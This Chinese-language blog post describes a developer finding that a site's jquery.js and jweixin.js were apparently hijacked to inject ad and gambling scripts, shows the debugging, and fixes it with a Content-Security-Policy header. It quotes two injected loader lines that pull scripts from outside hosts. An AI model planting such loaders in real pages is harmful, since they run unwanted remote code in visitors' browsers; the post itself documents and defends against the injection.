在开发一个网站的时候,发现程序会莫名其妙地自行加载被替换过的js文件,比如jquery.js和jweixin.js,(我的jquery是本地引用,jweixin是从腾讯的服务器上引用)被替换过的文件会用两种方法在文档中写入两个新的js,一个是实现原来功能的js,另一个是其他服务器上的0423ios.js,其他服务器上的js执行的是在文档内写入各种js,比如游戏页面、下载页面、澳门赌场、cnzz统计代码等,实现投放广告的目的。
第一种方式,加载伪装的jweixin-1.2.0.js:
1 | function loadJs(url){var el=document.createElement('script');el.src=url;el.type='text/javascript';document.getElementsByTagName('head')[0].appendChild(el)};loadJs('http://res.wx.qq.com/open/js/jweixin-1.2.0.js?');loadJs('http://www.sozeer.com/njs/b/m_index.js?1') |
第二种方式,加载伪装的jquery.js
1 | document.write("<script type='text/javascript' src='http://ztwuzi.com/public/js/jquery.js?tn=170711'><\/script>"); |
先是在chrome里面调试,发现路径完全正确,就是内容被篡改。同时此问题只有在等待几分钟后再刷新网页才出现。于是怀疑代码问题,下载新的js,并把jweixin版本改成1.2.0,问题依旧。
然后用fiddler抓包,发现请求地址为jquery.js,同时写入一个cookie:bai=12.,加载回来的文件类型却是html,头部如下:
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/html
Cache-Control: no-cache
Content-Length: 156
Set-Cookie: bai=16.;Domain=.ztwuzi.com;Path=/;Max-Age=43200
于是怀疑是后台php程序的问题。
改用curl模拟直接加载js,发现直接返回被替换的代码。我陷入了深深的思考。。。因为是直接加载静态资源,所以排除后台php的问题,然后又是新的js文件,所以排除js的问题。。。难道是本地网络运营商劫持?可是为什么访问localhost的代码都会出现这个问题?那么是开发机器中毒了?劫持所有js?那为什么访问其他网站都是没问题呢?为什么加载qq服务器上的jweixin.js也会出现这种情况?而且又为什么只劫持我这一个正在开发的网站?
这到底是是人性的泯灭还是道德的沦丧?
然后在不断的搜索中找到这篇文章:https://github.com/joeyguo/blog/issues/5
决定就按照运营商劫持来处理,传说中的XSS攻击终结者CSP:
直接加入头部:
1 | <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline' res.wx.qq.com hm.baidu.com;"> |
字段’unsafe-inline’表示可以执行inline script,内联脚本。
不过这种方法需要用户浏览器支持。
完。